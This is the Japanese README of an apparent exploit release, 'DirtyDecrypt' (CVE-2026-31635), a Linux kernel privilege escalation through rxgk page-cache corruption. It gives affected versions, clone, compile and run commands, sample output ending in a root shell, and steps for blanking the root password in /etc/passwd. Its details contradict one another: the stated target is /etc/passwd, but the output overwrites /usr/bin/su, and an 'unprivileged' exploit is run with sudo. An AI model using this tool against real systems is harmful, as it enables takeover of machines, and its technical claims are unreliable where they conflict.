🩸 CVE-2026-31635 – DirtyDecrypt

Linux Kernel のローカル権限昇格 — RXGK ページキャッシュ破損を悪用

"DirtyDecrypt" — 2026年「Dirty」ファミリーエクスプロイトの一部

📖 概要

DirtyDecrypt (CVE-2026-31635) は、Linux カーネルの rxrpc サブシステム（特に rxgk コンポーネント）における ローカル権限昇格 の脆弱性です。

AES-CBC 復号化中の Copy-on-Write (COW) チェックの欠落を悪用し、非特権ユーザーがページキャッシュを破損させ、任意のファイル書き込み を達成し、root アクセスを得ます。

✨ 特徴

• ✅ クリーンでコメント豊富なCコード
• ✅ ユーザー＋ネットワーク名前空間のサポート
• ✅ 信頼性の高いページキャッシュ書き込みプリミティブ
• ✅ /etc/passwd を標的に（rootパスワードを空に）
• ✅ SUIDバイナリやその他の標的に簡単に修正可能
• ✅ 静的コンパイルのサポート

🛠️ 影響を受けるシステム

• 脆弱なカーネル: 6.10 ~ 6.13（CONFIG_RXGK=y）
• 一般的なディストリビューション: Fedora, Arch Linux, openSUSE Tumbleweed, カスタムカーネル
• 脆弱ではない: 〜6.10以前のカーネル、または CONFIG_RXGK=n のもの

📋 必要条件

• CONFIG_RXGK が有効なLinuxカーネル
• 非特権ローカルユーザーアクセス
• AF_RXRPC ソケットサポート
• keyctl ユーティリティ（rxrpcキー用）

🚀 コンパイル

git clone https://github.com/0xBlackash/DirtyDecrypt.git
cd DirtyDecrypt
gcc -O2 -static -pthread CVE-2026-31635.c -o DirtyDecrypt

💥 使い方

sudo ./DirtyDecrypt

期待される成功出力:

=== rxgk pagecache write (DirtyDecrypt) ===
uid=1000 euid=1000

[*] writing shellcode to /usr/bin/su (96 bytes from offset 0)
    [========================================] 100% (XXX/96, YYYY fires)
[*] XXX fires in Z.Zs
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_12345 /usr/bin/su

# whoami
root

# id
uid=0(root) gid=0(root) groups=0(root)

# 

📁 リポジトリ構造

DirtyDecrypt/
├── CVE-2026-31635.c          # Main exploit
├── README.md                 # This file
├── Makefile                  # Optional
└── exploit.log               # Optional output log

🔬 動作原理（技術的）

1. ユーザー＋ネットワーク名前空間に入る
2. keyringにRXGKキーを追加
3. AF_RXRPC ソケットと splice() を使用して、ページキャッシュページをRXGK復号パスに強制的に送り込む
4. skb_cow_data() なしでインプレースAES-CBC復号をトリガー
5. スライディングウィンドウ手法を使用してターゲットファイル（/etc/passwd）を1バイトずつ破損
6. rootパスワードを空にして → rootシェルを起動

⚠️ 免責事項

このエクスプロイトは教育および許可されたセキュリティテストのみを目的としています。
あなたが所有していないシステムでの不正使用は違法です。

📜 クレジットと作者

• エクスプロイト作者: Ashraf Zaryouh "0xBlackash"
• オリジナル発見: セキュリティ研究者（2026年）
• PoCバージョン: v2.1（2026年5月）